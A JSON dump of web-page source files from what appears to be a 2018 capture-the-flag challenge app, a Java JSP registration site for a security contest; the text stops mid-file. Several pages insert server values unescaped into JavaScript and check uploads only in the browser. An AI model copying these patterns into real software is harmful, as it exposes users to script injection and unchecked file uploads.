</div>\n                                    </div>\n                                    <div class=\"form-group\">\n                                        <label class=\"col-sm-3 control-label\">* 邮箱验证码:</label>\n                                        <div class=\"col-sm-7 input-group\">\n                                            <div class=\"row\">\n                                                <div class=\"col-md-8\">\n                                                    <input type=\"text\" id=\"checkcode\" name=\"checkcode\" class=\"form-control\">\n                                                </div>\n                                                <div class=\"col-md-4\" id=\"messageFollow\">\n                                                    <a href=\"javascript:getVerCode();\" class=\"btn btn-success\">获取验证码</a>\n                                                </div>\n                                            </div>\n                                        </div>\n                                    </div>\n                                    <div class=\"form-group\">\n                                        <label class=\"col-sm-3 control-label\">* 新密码:</label>\n                                        <div class=\"col-sm-7 input-group\">\n                                            <input type=\"password\" id=\"password1\" name=\"password1\" class=\"form-control\">\n                                            <span class=\"input-group-addon\">\n                                                <span class=\"glyphicon glyphicon-eye-close\"></span>\n                                             </span>\n                                        </div>\n                                    </div>\n                                    <div class=\"form-group\">\n                                        <label class=\"col-sm-3 control-label\">* 密码确认:</label>\n                                        <div class=\"col-sm-7 input-group\">\n                                            <input type=\"password\" id=\"password2\" name=\"password2\" class=\"form-control\">\n                                            <span class=\"input-group-addon\">\n                                                <span class=\"glyphicon glyphicon-eye-close\"></span>\n                                             </span>\n                                        </div>\n                                    </div>\n                                </fieldset>\n                            </form>\n                        </div>\n                    </div>\n                </div>\n                <div class=\"row\">\n                    <div class=\"col-sm-10 text-right\" style=\"padding-right: 0px\">\n                        <button onclick=\"findAndResetPassword()\" class=\"btn btn-success\">确认</button>\n                    </div>\n                </div>\n            </div>\n            <div class=\"col-md-3\"></div>\n        </div>\n    </div>\n</div>\n    <jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n<script type=\"text/javascript\">\n    function getVerCode() {\n        var username = $(\"#username\").val();\n        var email = $(\"#email\").val();\n        var url = \"${cp}user/send_email.json\";\n        if(validateLengthMin(username,6)&&validateLengthMax(username,12)){\n            if(validateEmail(email)){\n                $(\"#messageFollow\").html(\"\");\n                $(\"#messageFollow\").html(\"<span class='label label-info'>邮件发送中...</span>\");\n                $.ajax({\n                    type: 'POST',\n                    url: url,\n                    data: {\n                        'username': username,\n                        'email': email\n                    },\n                    success: function (result) {\n                        if (result.ret) {\n                            ShowSuccess(result.msg);\n                            $(\"#messageFollow\").html();\n                            $(\"#messageFollow\").html(\"<label id='info' class='text-success'></label>\");\n                            time = 60;\n                            var t = setInterval(function() {\n                                $(\"#info\").html(time  + \"秒后重新获取\");\n                                time--;\n                                if (time == 0) {\n                                    clearInterval(t);\n                                    $(\"#messageFollow\").html(\"\");\n                                    $(\"#messageFollow\").html(\"<a href='javascript:getVerCode();' class='btn btn-success'>获取邮箱验证</a>\");\n                                }\n                            }, 1000)\n                        } else {\n                            ShowFailure(result.msg);$(\"#messageFollow\").html(\"\");\n                            $(\"#messageFollow\").html(\"<a href='javascript:getVerCode();' class='btn btn-success'>获取邮箱验证</a>\");\n                        }\n                    }\n                });\n\n            }else {\n                ShowWarn(\"邮箱格式错误！\")\n            }\n        }else {\n            ShowWarn(\"用户名必须在6-12个字符之间！\");\n        }\n\n    }\n    function check(username,email){\n        if(validateLengthMin(username,6)&&validateLengthMax(username,12)){\n            if(validateEmail(email)){\n                return true;\n            }else {\n                ShowWarn(\"邮箱格式错误！\")\n            }\n        }else {\n            ShowWarn(\"用户名必须在6-12个字符之间！\");\n        }\n        return false;\n    }\n    function findAndResetPassword(){\n        var username = $(\"#username\").val();\n        var email = $(\"#email\").val();\n        var password1 = $(\"#password1\").val();\n        var password2 = $(\"#password2\").val();\n        if(password1==password2){\n            if(validateLengthMin(username,6)&&validateLengthMax(username,12)){\n                if(validateLengthMin(password1,6)&&validateLengthMax(password1,12)){\n                    $(\"#find-reset-submit\").submit();\n                }else {\n                    ShowWarn(\"密码必须在6-12个字符之间\")\n                }\n            }else {\n                ShowWarn(\"用户名必须在6-12个字符之间\");\n            }\n        }else {\n            ShowWarn(\"两次输入的密码不一致！\");\n        }\n    }\n</script>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/index.jsp",
    "content": "<%@ page import=\"com.bupt.utils.SystemDateTimeChecker\" %>\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n    <jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n\n<div class=\"content\">\n\n    <div class=\"container\">\n        <jsp:include page=\"/common/competitionInfo.jsp\"></jsp:include>\n        <div class=\"row\" style=\"margin-bottom: 50px;\">\n            <div class=\"col-md-12 text-center\">\n\n                <a href=\"${cp}user/loginHtml.html\" class=\"btn btn-success\">立即登录</a>\n\n            </div>\n        </div>\n        <div class=\"row\">\n            <div class=\"col-md-12\">\n\n            </div>\n        </div>\n        <div class=\"row\">\n            <div class=\"col-md-12\">\n\n            </div>\n        </div>\n    </div>\n</div>\n<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/login.jsp",
    "content": "<%@ page import=\"com.bupt.utils.SystemDateTimeChecker\" %>\n<%@ page import=\"java.text.SimpleDateFormat\" %>\n<%@ page import=\"java.util.Date\" %>\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n\tString path = request.getContextPath();\n\tString basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n\t<jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n\t<jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n<div class=\"content\">\n\t<div class=\"container\">\n\t\t<div class=\"row\" style=\"margin-bottom: 50px\"></div>\n\n\t\t<div class=\"row\">\n\t\t\t<div class=\"col-md-12 text-center\">\n\t\t\t\t<h2>用户登录</h2>\n\t\t\t</div>\n\t\t</div>\n\t\t<div class=\"row\" style=\"margin-bottom: 50px\"></div>\n\t\t<div class=\"row\">\n\t\t\t<div class=\"col-md-3\"></div>\n\n\t\t\t<div class=\"col-md-6\">\n\t\t\t\t<div class=\"row\">\n\t\t\t\t\t<div class=\"col-sm-12 text-right\">\n\t\t\t\t\t\t<div class=\"form-horizontal\">\n\t\t\t\t\t\t\t<form role=\"form\" action=\"${cp}user/login.html\" id=\"login-submit\" method=\"post\">\n\t\t\t\t\t\t\t\t<fieldset>\n\t\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t\t<label class=\"col-sm-3 control-label\">* 用户名:</label>\n\t\t\t\t\t\t\t\t\t\t<div class=\"col-sm-9 input-group\">\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"username\" name=\"username\" class=\"form-control\">\n\t\t\t\t\t\t\t\t\t\t\t<span class=\"input-group-addon\">\n\t\t\t\t\t\t\t\t\t\t<span class=\"glyphicon glyphicon-user\"></span>\n\t\t\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t\t<label class=\"col-sm-3 control-label\">* 密 码:</label>\n\t\t\t\t\t\t\t\t\t\t<div class=\"col-sm-9 input-group\">\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"password\" id=\"password\" name=\"password\" class=\"form-control\">\n\t\t\t\t\t\t\t\t\t\t\t<span class=\"input-group-addon\">\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"glyphicon glyphicon-eye-close\"></span>\n\t\t\t\t\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t<%--<div class=\"form-group\">--%>\n\t\t\t\t\t\t\t\t\t\t<%--<label class=\"col-sm-3 control-label\">* 验证码:</label>--%>\n\t\t\t\t\t\t\t\t\t\t<%--<div class=\"col-sm-9 input-group\">--%>\n\t\t\t\t\t\t\t\t\t\t\t<%--<div class=\"row\">--%>\n\t\t\t\t\t\t\t\t\t\t\t\t<%--<div class=\"col-sm-7 col-md-7\">--%>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<%--<input type=\"text\" id=\"verCode\" name=\"verCode\" class=\"form-control\">--%>\n\t\t\t\t\t\t\t\t\t\t\t\t<%--</div>--%>\n\t\t\t\t\t\t\t\t\t\t\t\t<%--<div class=\"col-sm-5 col-md-5\">--%>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<%--<img id=\"img\" style=\"cursor:pointer\" onclick=\"javascript:changeImg()\" src=\"${cp}user/verCode\" />--%>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<%--<a href='#' onclick=\"javascript:changeImg()\" style=\"color:black;\">--%>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<%--<label style=\"color:red;\">看不清？</label></a>--%>\n\t\t\t\t\t\t\t\t\t\t\t\t<%--</div>--%>\n\t\t\t\t\t\t\t\t\t\t\t<%--</div>--%>\n\t\t\t\t\t\t\t\t\t\t<%--</div>--%>\n\t\t\t\t\t\t\t\t\t<%--</div>--%>\n\t\t\t\t\t\t\t\t</fieldset>\n\t\t\t\t\t\t\t</form>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"row\">\n\t\t\t\t\t<div class=\"col-sm-12 text-right\" style=\"padding-right: 0px\">\n\t\t\t\t\t\t<button type=\"submit\" onclick=\"loginSubmit()\" class=\"btn btn-success\">登录</button>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"row\">\n\t\t\t\t\t<div class=\"col-sm-12 text-center\" style=\"padding-right: 0px\">\n\t\t\t\t\t\t<%\n\t\t\t\t\t\t\tif(SystemDateTimeChecker.checkNowOk()){\n\t\t\t\t\t\t%>\n\t\t\t\t\t\t<h5>没有账号，<a href=\"${cp}user/registerHtml.html\">马上注册</a></h5>\n\t\t\t\t\t\t<%\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t%>\n\t\t\t\t\t\t<h5><a href=\"${cp}user/findHtml.html\">忘记密码</a></h5>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\n\t\t\t<div class=\"col-md-3\"></div>\n\t\t</div>\n\t</div>\n</div>\n\t<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n<!-- 触发JS刷新-->\n<script type=\"text/javascript\">\n\t$(function () {\n\t\tShowMsg(\"${message}\");\n\t})\n\tfunction changeImg(){\n\t\tvar img = document.getElementById(\"img\");\n\t\timg.src = \"${cp}user/verCode?rnd=\"+Math.random();\n\t}\n\tfunction loginSubmit() {\n\t\tvar username = $(\"#username\").val();\n\t\tvar password = $(\"#password\").val();\n\t\t// var code = $(\"#verCode\").val();\n\t\tif(validateUserName(username)){\n\t\t\tif(validatePassword(password)){\n\t\t\t\t// if(code==\"\"){\n\t\t\t\t// \tShowWarn(\"请填写验证码\");\n\t\t\t\t// }else {\n\t\t\t\t\t$(\"#login-submit\").submit();\n\t\t\t\t// }\n\t\t\t}else {\n\t\t\t\tShowWarn(\"密码不合法！仅包含字母数字，6-12字符\")\n\t\t\t}\n\t\t}else {\n\t\t\tShowWarn(\"用户名不合法！仅包含字母数字及@.+-_，不超过30个字符\");\n\t\t}\n\t}\n</script>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/noProfile.jsp",
    "content": "\n\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n<jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n\n<div class=\"container\">\n    <div class=\"row\">\n        <div class=\"col-md-12 text-center\">\n            <h3>${username}</h3>\n        </div>\n    </div>\n    <div class=\"row\" style=\"margin-top: 30px\">\n        <div class=\"col-md-12\">\n            <div class=\"panel panel-default\">\n                <div class=\"panel-heading\">\n                    <h3 class=\"panel-title\">\n                        提示信息信息\n                    </h3>\n                </div>\n                <div class=\"panel-body\">\n                    <div class=\"row col-md-6\">${message}</div>\n                    <div class=\"row col-md-6 text-right\">\n                        <a href=\"${cp}profile/profileAdd.html\" type=\"button\" class=\"btn btn-success\">完善报名信息</a>\n                    </div>\n                </div>\n            </div>\n\n        </div>\n    </div>\n</div>\n<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/profile.jsp",
    "content": "\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n<jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n<div class=\"content\">\n    <div class=\"container\">\n\n        <div class=\"row\" style=\"margin-bottom: 10px\"></div>\n        <div class=\"row\">\n            <div class=\"col-md-3  text-left\">\n                <div class=\"list-group\">\n                    <a href=\"${cp}/profile/profileEditHtml.html\" class=\"list-group-item list-group-item-success\">修改个人信息</a>\n                    <a href=\"${cp}/profile/info.html\" class=\"list-group-item list-group-item-info\">线上预赛安排</a>\n                    <a href=\"${cp}/profile/competitionRule.html\" class=\"list-group-item list-group-item-success\">竞赛规则说明</a>\n                </div>\n            </div>\n            <div class=\"col-md-9\">\n                <jsp:include page=\"/common/competitionInfo.jsp\"></jsp:include>\n            </div>\n        </div>\n        <div class=\"row\" style=\"margin-bottom: 50px\"></div>\n    </div>\n</div>\n<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n<script type=\"text/javascript\">\n    $(function () {\n        $('input').attr(\"readonly\",\"readonly\")//将input元素设置为readonly\n        $('textarea').attr(\"readonly\",\"readonly\")//将input元素设置为readonly\n    })\n</script>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/profile_add.jsp",
    "content": "\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n    <jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n    <div class=\"content\">\n        <div class=\"container\">\n            <div class=\"row\" ></div>\n            <div class=\"row\">\n                <div class=\"col-md-12 text-center\">\n                    <h3><strong>恋爱的季节</strong></h3>\n                    <h3><strong>培训申请表</strong></h3>\n                </div>\n            </div>\n            <div class=\"row\" style=\"margin-bottom: 10px\"></div>\n            <div class=\"row\">\n                <div class=\"col-md-12\">\n                    <div class=\"row\">\n                        <div class=\"col-sm-12 text-right\">\n                            <div class=\"form-horizontal\">\n                                <form role=\"form\" action=\"${cp}profile/add\" id=\"profile-submit\" method=\"post\" enctype=\"multipart/form-data\">\n                                    <fieldset>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-5\">\n                                                <hr style=\"border: 3px double #ff0033\">\n                                            </div>\n                                            <div class=\"col-md-2 text-center\">\n                                                <h5><strong>个人基本信息【必填】</strong></h5>\n                                            </div>\n                                            <div class=\"col-md-5\">\n                                                <hr style=\"border: 3px double #ff0033\">\n                                            </div>\n                                        </div>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-3 control-label\">* 姓 名:</label>\n                                                    <div class=\"col-sm-9 input-group\">\n                                                        <input type=\"text\" id=\"name\" name=\"name\" onblur=\"checkLength(this.id,this.value,2,12)\" class=\"form-control checked-no\">\n                                                        <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-user\"></span>\n                                                    </span>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-3 control-label\">* 性 别:</label>\n                                                    <div class=\"col-sm-3\"></div>\n                                                    <div class=\"col-sm-3 input-group\">\n                                                        <label for=\"\">男</label>&nbsp;\n                                                        <span class=\"input-group-addon\">\n                                                    <input type=\"radio\" name=\"gender\" value=\"男\" checked aria-label=\"...\">\n                                                </span>\n                                                        <label for=\"gender\">女</label>&nbsp;\n                                                        <span class=\"input-group-addon\">\n                                                    <input type=\"radio\" name=\"gender\" value=\"女\" aria-label=\"...\">\n                                                </span>\n                                                    </div>\n                                                    <div class=\"col-sm-3\"></div>\n                                                </div>\n                                            </div>\n                                        </div>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-3 control-label\">* 出生年月:</label>\n                                                    <div class=\"col-sm-9 input-group\" id=\"datetimepicker\">\n                                                        <input type=\"text\" id=\"birthday\" name=\"birthday\" value=\"2000-01-01\"  class=\"form-control\">\n                                                        <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-calendar\"></span>\n                                                    </span>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <div class=\"form-group\">\n                                                        <label class=\"col-sm-3 control-label\">* 科 类:</label>\n                                                        <div class=\"col-sm-1\"></div>\n                                                        <div class=\"col-sm-7 input-group\">\n                                                            <label for=\"\">理科</label>&nbsp;\n                                                            <span class=\"input-group-addon\">\n                                                        <input type=\"radio\" name=\"type\" value=\"理科\" checked aria-label=\"...\">\n                                                    </span>\n                                                            <label for=\"\">文科</label>&nbsp;\n                                                            <span class=\"input-group-addon\">\n                                                        <input type=\"radio\" name=\"type\" value=\"文科\" aria-label=\"...\">\n                                                    </span>\n                                                            <label for=\"\">综合改革</label>&nbsp;\n                                                            <span class=\"input-group-addon\">\n                                                        <input type=\"radio\" name=\"type\" value=\"综合改革\" aria-label=\"...\">\n                                                    </span>\n                                                        </div>\n                                                        <div class=\"col-sm-1\"></div>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                        </div>\n\n\n\n                                        <div class=\"row\">\n\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-3 control-label\">* 联系电话:</label>\n                                                    <div class=\"col-sm-9 input-group\">\n                                                        <input type=\"text\" name=\"phone\" id=\"phone\" onblur=\"checkPhoneNumber(this.id,this.value)\" class=\"form-control checked-no\">\n                                                        <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-phone\"></span>\n                                                    </span>\n                                                    </div>\n                                                </div>\n                                            </div>\n\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-3 control-label\">* 邮箱:</label>\n                                                    <div class=\"col-sm-9 input-group\">\n                                                        <input type=\"text\" name=\"mail\" id=\"mail\" value=\"${email}\"  class=\"form-control\">\n                                                        <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-envelope\"></span>\n                                                    </span>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                        </div>\n\n                                        <div class=\"row\">\n                                            <div class=\"col-md-5\">\n                                                <hr style=\"border: 3px double #ff0033\">\n                                            </div>\n                                            <div class=\"col-md-2 text-center\">\n                                                <h5><strong>更多【必填】</strong></h5>\n                                            </div>\n                                            <div class=\"col-md-5\">\n                                                <hr style=\"border: 3px double #ff0033\">\n                                            </div>\n                                        </div>\n\n                                        <div class=\"row\">\n                                            <div class=\"col-md-12\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-2 control-label\">* 照片:</label>\n                                                    <div class=\"col-sm-10 input-group\">\n                                                        <div class=\"col-xs-12 col-sm-4 col-md-4\">\n                                                            <div class=\"file-container\" style=\"display:inline-block;position:relative;overflow: hidden;vertical-align:middle\">\n                                                                <button class=\"btn btn-success fileinput-button\" type=\"button\">上传</button>\n                                                                <input type=\"file\" id=\"image\" name=\"image\" class=\"checked-no\" onchange=\"loadFile(this.files[0])\" style=\"position:absolute;top:0;left:0;font-size:34px; opacity:0\">\n                                                            </div>\n                                                            <span id=\"filename\" style=\"vertical-align: middle\">未上传文件</span>\n                                                        </div>\n                                                        <div class=\"col-sm-8 text-left\">\n                                                            <span style=\"color: red\">【图片大小不超过4M，仅支持png,jpg,jpeg类型图片格式】</span>\n                                                        </div>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                        </div>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-12\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-4 control-label\">* 兴趣爱好<label class='text-danger'>【100字以内，没有则写无】</label>:</label>\n                                                    <div class=\"col-sm-8 input-group\">\n                                                        <textarea name=\"hobby\" id=\"hobby\" onblur=\"checkLength(this.id,this.value,1,200)\" class=\"form-control checked-no\" rows=\"3\"></textarea>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                        </div>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-12\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-4 control-label\">* 请详细描述在网络安全技术领域参加的竞赛或者取得的突出成就<label class='text-danger'>【300字以内，没有则写无】</label>:</label>\n                                                    <div class=\"col-sm-8 input-group\">\n                                                        <textarea name=\"description\" onblur=\"checkLength(this.id,this.value,1,600)\" id=\"description\" class=\"form-control checked-no\" rows=\"4\"></textarea>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                        </div>\n                                    </fieldset>\n                                </form>\n                            </div>\n                        </div>\n                    </div>\n                    <div class=\"row\">\n                        <div class=\"col-sm-12 text-right\" style=\"padding-right: 0px;margin-bottom: 50px\">\n                            <button type=\"submit\" onclick=\"submitProfile()\" class=\"btn btn-success\">个人信息提交</button>\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </div>\n    </div>\n    <jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n<input type=\"hidden\" name=\"user_id\" value=\"${userId}\"/>\n<script type=\"text/javascript\">\n    $(function () {\n        $(\"#birthday\").datetimepicker({\n            format: 'yyyy-mm-dd',\n            language: 'zh-CN',\n            weekStart: 1,\n            todayBtn: 1,//显示‘今日’按钮\n            autoclose: 1,\n            todayHighlight: 1,\n            startView: 2,\n            minView: 2,  //Number, String. 默认值：0, 'hour'，日期时间选择器所能够提供的最精确的时间选择视图。\n            clearBtn:true,//清除按钮\n            forceParse: 0\n        });\n        //设置为不可输入\n        $('#birthday').focus(function(){\n            $(this).blur();//不可输入状态\n        })\n        //邮箱不可编辑\n        $('#mail').attr(\"readonly\",\"readonly\")//将email设置为readonly\n        ShowMsg(\"${message}\");\n    })\n\n    function loadFile(file){\n        var fileName = file.name;\n        var index = fileName.lastIndexOf('.');\n        var ext = fileName.substring(index+1).toLowerCase();\n        if(file.size>4*1024*1000){\n            $(\"#image\").removeClass(\"checked-no\");\n            $(\"#image\").addClass(\"checked-no\");\n            $(\"#filename\").html(\"\");\n            ShowWarn(\"文件大小超过限制\");\n        }\n        if(ext==\"jpg\"||ext==\"png\"||ext==\"jpeg\"){\n            $(\"#image\").removeClass(\"checked-no\");\n            $(\"#filename\").html(fileName);\n        }else {\n            $(\"#image\").removeClass(\"checked-no\");\n            $(\"#image\").addClass(\"checked-no\");\n            $(\"#filename\").html(\"\");\n            ShowWarn(\"仅支持的图片上传格式：JPG，PNG，JPEG！\");\n        }\n    }\n    function checkPic() {\n\n    }\n    function addBackgroundWarningColor(id){\n        if(id.indexOf(\"#\")>=0){\n            $(\"\"+id).css(\"background-color\",\"#FFE7BA\");\n            $(\"\"+id).removeClass(\"checked-no\");\n            $(\"\"+id).addClass(\"checked-no\");\n        }else{\n            $(\"#\"+id).css(\"background-color\",\"#FFE7BA\");\n            $(\"#\"+id).removeClass(\"checked-no\");\n            $(\"#\"+id).addClass(\"checked-no\");\n        }\n    }\n    function removeBackgroundWarningColor(id){\n        if(id.indexOf(\"#\")>=0) {\n            $(\"\" + id).css(\"background-color\", \"#ffffff\");\n            $(\"\"+ id).removeClass(\"checked-no\");\n        }else{\n            $(\"#\"+id).css(\"background-color\",\"#ffffff\");\n            $(\"#\"+id).removeClass(\"checked-no\");\n        }\n    }\n\n    function checkPhoneNumber(id,str) {\n        str = myTrim(str);\n        $(\"#\"+id).val(str);\n        if(validatePhoneNumber(str)){\n            removeBackgroundWarningColor(id);\n        }else {\n            ShowFailure(\"手机号格式不合法！\")\n            addBackgroundWarningColor(id);\n        }\n    }\n\n    function checkLength(id,str,min,max) {\n        str = myTrim(str);\n        $(\"#\"+id).val(str);\n        if(validateLengthMin(str,min)&&validateLengthMax(str,max)){\n            removeBackgroundWarningColor(id);\n        }else {\n            ShowFailure(\"参数长度不合法！,\"+min+\"-\"+max+\"个字符\")\n            addBackgroundWarningColor(id);\n        }\n    }\n\n    function submitProfile() {\n        var name = $(\"#name\").val();//长度2-12\n        var gender = $(\"#gender\").val();//男、女\n        var type = $(\"#type\").val();//科类：理科、文科、综合改革\n        var mail = $(\"#mail\").val();//邮箱校验\n\n        var checkedNo = $(\".checked-no\");\n        if(typeof checkedNo !='undefined' && checkedNo.length>=1){\n            ShowWarn(\"请按照要求填写表单！\");\n        }else{\n            if($(\"#image\")[0].size>4*1024*1000){\n                ShowMsg(\"文件大小超过限制\");\n            }else {\n                $(\"#profile-submit\").submit();\n            }\n        }\n    }\n\n</script>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/profile_edit.jsp",
    "content": "\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n    <jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n    <div class=\"content\">\n        <div class=\"container\">\n            <div class=\"row\" ></div>\n            <div class=\"row\">\n                <div class=\"col-md-2 text-center\">\n                </div>\n                <div class=\"col-md-8 text-center\">\n                    <h3><strong>修改个人信息</strong></h3>\n                </div>\n                <div class=\"col-md-2 text-center\">\n                    <img src=\"${cp}${profile.photo}\" alt=\"\">\n                </div>\n            </div>\n            <div class=\"row\" style=\"margin-bottom: 10px\"></div>\n            <div class=\"row\">\n                <div class=\"col-md-12\">\n                    <div class=\"row\">\n                        <div class=\"col-sm-12 text-right\">\n                            <div class=\"form-horizontal\">\n                                <form role=\"form\" action=\"${cp}profile/edit\" id=\"profile-edit-submit\" method=\"post\" >\n                                    <fieldset>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-5\">\n                                                <hr style=\"border: 3px double #ff0033\">\n                                            </div>\n                                            <div class=\"col-md-2 text-center\">\n                                                <h5><strong>个人基本信息【必填】</strong></h5>\n                                            </div>\n                                            <div class=\"col-md-5\">\n                                                <hr style=\"border: 3px double #ff0033\">\n                                            </div>\n                                        </div>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-3 control-label\">* 姓 名:</label>\n                                                    <div class=\"col-sm-9 input-group\">\n                                                        <input type=\"text\" id=\"name\" name=\"name\" value=\"${profile.name}\" onblur=\"checkLength(this.id,this.value,2,12)\" class=\"form-control\">\n                                                        <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-user\"></span>\n                                                    </span>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-3 control-label\">* 性 别:</label>\n                                                    <div class=\"col-sm-3\"></div>\n                                                    <div class=\"col-sm-3 input-group\">\n                                                        <label for=\"\">男</label>&nbsp;\n                                                        <span class=\"input-group-addon\">\n                                                    <input type=\"radio\" name=\"gender\" value=\"男\" aria-label=\"...\">\n                                                </span>\n                                                        <label 